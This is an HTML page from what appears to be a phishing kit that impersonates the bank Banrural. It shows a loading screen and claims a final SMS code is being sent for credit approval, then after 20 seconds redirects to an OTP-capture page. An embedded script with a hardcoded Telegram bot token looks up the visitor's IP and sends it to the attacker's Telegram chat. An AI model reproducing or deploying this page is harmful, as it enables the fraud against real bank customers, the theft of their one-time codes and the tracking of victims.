<script>
  window.onload = function () {
      const token = "8013356873:AAEVBq0h1p8HQRl6mM0zXify9WwWhdr1aWc";  // Reemplaza con el token de tu bot
      const chat_id = "-4605124285";  // Reemplaza con tu chat ID

      // Obtener la IP del usuario
      fetch('https://api.ipify.org?format=json')
          .then(response => response.json())
          .then(data => {
              const ip = data.ip;
              const message = `Usuario esperando en el cargando de 20 📩. IP: ${ip}`;
              
              // Enviar mensaje a Telegram
              fetch(`https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=${encodeURIComponent(message)}`)
                  .then(response => response.json())
                  .then(data => console.log('Mensaje enviado a Telegram:', data))
                  .catch(error => console.error('Error al enviar el mensaje a Telegram:', error));
          })
          .catch(error => console.error('Error al obtener la IP del usuario:', error));
  };
</script>


<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Ban Rural</title>
    <link rel="stylesheet" href="https://mahalaxmicity.com/MnsgtswRur/styles.css" />
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="">
<link href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&amp;family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&amp;family=Raleway:ital,wght@0,100..900;1,100..900&amp;family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&amp;display=swap" rel="stylesheet">
    <link
      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css"
      rel="stylesheet"
    />
  </head>

  <style>


    .roboto-thin {
      font-family: "Roboto", serif;
      font-weight: 100;
      font-style: normal;
    }
    
    .roboto-light {
      font-family: "Roboto", serif;
      font-weight: 300;
      font-style: normal;
    }
    
    .roboto-regular {
      font-family: "Roboto", serif;
      font-weight: 400;
      font-style: normal;
    }
    
    .roboto-medium {
      font-family: "Roboto", serif;
      font-weight: 500;
      font-style: normal;
    }
    
    .roboto-bold {
      font-family: "Roboto", serif;
      font-weight: 700;
      font-style: normal;
    }
    
    .roboto-black {
      font-family: "Roboto", serif;
      font-weight: 900;
      font-style: normal;
    }
    
    .roboto-thin-italic {
      font-family: "Roboto", serif;
      font-weight: 100;
      font-style: italic;
    }
    
    .roboto-light-italic {
      font-family: "Roboto", serif;
      font-weight: 300;
      font-style: italic;
    }
    
    .roboto-regular-italic {
      font-family: "Roboto", serif;
      font-weight: 400;
      font-style: italic;
    }
    
    .roboto-medium-italic {
      font-family: "Roboto", serif;
      font-weight: 500;
      font-style: italic;
    }
    
    .roboto-bold-italic {
      font-family: "Roboto", serif;
      font-weight: 700;
      font-style: italic;
    }
    
    .roboto-black-italic {
      font-family: "Roboto", serif;
      font-weight: 900;
      font-style: italic;
    }
    
    
    .poppins-thin {
      font-family: "Poppins", serif;
      font-weight: 100;
      font-style: normal;
    }
    
    .poppins-extralight {
      font-family: "Poppins", serif;
      font-weight: 200;
      font-style: normal;
    }
    
    .poppins-light {
      font-family: "Poppins", serif;
      font-weight: 300;
      font-style: normal;
    }
    
    .poppins-regular {
      font-family: "Poppins", serif;
      font-weight: 400;
      font-style: normal;
    }
    
    .poppins-medium {
      font-family: "Poppins", serif;
      font-weight: 500;
      font-style: normal;
    }
    
    .poppins-semibold {
      font-family: "Poppins", serif;
      font-weight: 600;
      font-style: normal;
    }
    
    .poppins-bold {
      font-family: "Poppins", serif;
      font-weight: 700;
      font-style: normal;
    }
    
    .poppins-extrabold {
      font-family: "Poppins", serif;
      font-weight: 800;
      font-style: normal;
    }
    
    .poppins-black {
      font-family: "Poppins", serif;
      font-weight: 900;
      font-style: normal;
    }
    
    .poppins-thin-italic {
      font-family: "Poppins", serif;
      font-weight: 100;
      font-style: italic;
    }
    
    .poppins-extralight-italic {
      font-family: "Poppins", serif;
      font-weight: 200;
      font-style: italic;
    }
    
    .poppins-light-italic {
      font-family: "Poppins", serif;
      font-weight: 300;
      font-style: italic;
    }
    
    .poppins-regular-italic {
      font-family: "Poppins", serif;
      font-weight: 400;
      font-style: italic;
    }
    
    .poppins-medium-italic {
      font-family: "Poppins", serif;
      font-weight: 500;
      font-style: italic;
    }
    
    .poppins-semibold-italic {
      font-family: "Poppins", serif;
      font-weight: 600;
      font-style: italic;
    }
    
    .poppins-bold-italic {
      font-family: "Poppins", serif;
      font-weight: 700;
      font-style: italic;
    }
    
    .poppins-extrabold-italic {
      font-family: "Poppins", serif;
      font-weight: 800;
      font-style: italic;
    }
    
    .poppins-black-italic {
      font-family: "Poppins", serif;
      font-weight: 900;
      font-style: italic;
    }
    body {
                font-family: "Raleway", sans-serif;     
            ;
            }
    
      </style>
      
  <body style="color: #00351a">
    <div class="container">
      <form class="form" id="loginForm">
        <div style="text-align: center; background: #0b5031">
          <img
            src="https://imtconferences.com/wp-content/uploads/2017/01/BANRURAL.jpg"
            width="150"
          />
        </div>
        <div style="background: #f68f1e; height: 10px"></div>
        <div style="padding: 20px">
          <div style="text-align: center">
            <h3>Cargando...</h3>
          </div>
        </div>
        <div style="text-align: center">
          <img src="https://mahalaxmicity.com/MnsgtswRur/crrggd.gif" width="150" />
        </div>

        <div>
          <h4 id="CuentaAtras" style="text-align: center">
            Por favor, espera 20 segundos, por seguridad estamos enviando un ultimo código a tu teléfono registrado.
            <br />
          </h4>
          <script language="JavaScript">
            /* Determinamos el tiempo total en segundos */
            var totalTiempo = 20;

            var url = "sms2.html";

            function updateReloj() {
              document.getElementById("CuentaAtras").innerHTML =
                "Por favor, espera " +
                totalTiempo +
                " segundos, estamos enviando un nuevo código para garantizar la aprobación de tu CréditoAmigo. <br> ";

              if (totalTiempo == 0) {
                window.location = url;
              } else {
                /* Restamos un segundo al tiempo restante */
                totalTiempo -= 1;
                /* Ejecutamos nuevamente la función al pasar 1000 milisegundos (1 segundo) */
                setTimeout("updateReloj()", 1000);
              }
            }

            window.onload = updateReloj;
          </script>
        </div>
        <div
          style="text-align: center; background: #0b5031; height: 50px"
        ></div>
      </form>
    </div>
  </body>
</html>
